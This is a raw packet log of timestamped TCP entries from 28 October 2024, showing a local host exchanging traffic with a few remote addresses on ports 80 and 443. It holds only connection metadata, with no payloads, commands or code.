Oct 28, 2024 02:07:49.467144966 CET	443	50006	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.471560001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.471575022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.471590042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.471606016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.471615076 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.471637964 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.471667051 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.499952078 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.500327110 CET	50007	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.500344992 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.500742912 CET	50007	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.500746965 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.516781092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.516797066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.516844988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.528283119 CET	50012	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:49.528306007 CET	443	50012	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:49.528430939 CET	50012	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:49.529062033 CET	50012	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:49.529074907 CET	443	50012	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:49.529844046 CET	443	50009	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.530456066 CET	50009	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.530474901 CET	443	50009	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.530877113 CET	50009	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.530880928 CET	443	50009	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.534569979 CET	443	50008	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.536977053 CET	50008	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.537009001 CET	443	50008	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.537348986 CET	50008	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.537353039 CET	443	50008	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.544353962 CET	443	50010	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.545409918 CET	50010	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.545424938 CET	443	50010	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.545773983 CET	50010	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.545778990 CET	443	50010	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.545788050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545814991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545828104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545854092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545870066 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.545878887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545895100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545902014 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.545911074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545913935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.545936108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545943975 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.545949936 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.545949936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545973063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.545974016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.545998096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546008110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546013117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546037912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546053886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546062946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546067953 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546082973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546098948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546106100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546113968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546128035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546129942 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546152115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546154976 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546169043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546186924 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546190023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546202898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546207905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546217918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546232939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546240091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546257973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546263933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546279907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546283007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546294928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546307087 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546320915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546323061 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546335936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546334982 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546350956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546361923 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546365023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546377897 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546386957 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546390057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546405077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546408892 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546417952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546441078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546442032 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546456099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546473026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546473980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546489954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546494961 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546505928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546519041 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546523094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546536922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546542883 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546552896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546569109 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546574116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546591043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546591997 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546603918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546617985 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546633005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546641111 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546648979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546662092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546685934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546701908 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546703100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546716928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546734095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546740055 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546750069 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546756983 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546781063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546793938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546854973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546896935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.546921015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546936035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.546958923 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547032118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547046900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547061920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547075033 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547076941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547092915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547107935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547115088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547117949 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547138929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547148943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547158003 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547163963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547175884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547180891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547204018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547204971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547231913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547245026 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547246933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547266006 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547271967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547285080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547300100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547302008 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547333002 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547333002 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547334909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547346115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547358036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547374964 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547389030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547398090 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547406912 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547420979 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547425032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547447920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547451973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547466040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547471046 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547482967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547497034 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547498941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547509909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547514915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547527075 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547539949 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547542095 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547555923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547564030 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547570944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547588110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547595024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547595978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547610998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547612906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547627926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547635078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547642946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547653913 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547657967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547662020 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547683954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547683954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547698021 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547700882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547717094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547722101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547732115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547749043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547755957 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547765970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547780991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547782898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547804117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547807932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547820091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547832012 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547843933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547857046 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547859907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547873974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547880888 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547890902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547904968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547905922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547923088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547934055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547935963 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547955990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547957897 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.547972918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547987938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.547991991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548017979 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548023939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548046112 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548048973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548055887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548064947 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548078060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548103094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548105955 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548120975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548134089 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548136950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548161983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548161983 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548177004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548186064 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548197031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548208952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548209906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548228025 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548245907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548423052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548532963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548547983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548564911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548580885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548588037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548588037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548604012 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548621893 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548628092 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548635960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548659086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548669100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548675060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548696995 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548698902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548715115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548723936 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548738956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548739910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548757076 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548757076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548793077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548799992 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548808098 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548825026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548841000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548849106 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548860073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548871994 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548875093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548892021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548899889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548908949 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548923969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548928976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548943043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548950911 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548969030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.548973083 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.548985004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.549000978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.549009085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.549010038 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.549021959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.549029112 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.549046993 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.549063921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.549103975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.549154997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.549169064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.549182892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.549195051 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.549223900 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.588620901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.588718891 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.588819027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.588838100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.588855982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.588872910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.588901043 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.588917017 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.596616983 CET	443	50006	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.596669912 CET	443	50006	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.596729994 CET	50006	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.596896887 CET	50006	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.596926928 CET	443	50006	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.596942902 CET	50006	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.596951008 CET	443	50006	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.600018978 CET	50013	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.600061893 CET	443	50013	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.600133896 CET	50013	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.600341082 CET	50013	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.600357056 CET	443	50013	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.629448891 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.629524946 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.629631042 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.629692078 CET	50007	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.629735947 CET	50007	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.629753113 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.629765034 CET	50007	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.629771948 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.633301020 CET	50014	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.633358002 CET	443	50014	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.633431911 CET	50014	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.633737087 CET	50014	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.633760929 CET	443	50014	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.661297083 CET	443	50009	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.661465883 CET	443	50009	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.661575079 CET	50009	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.661623955 CET	50009	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.661633968 CET	443	50009	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.661659956 CET	50009	443	192.168.2.6	13.107.246.60
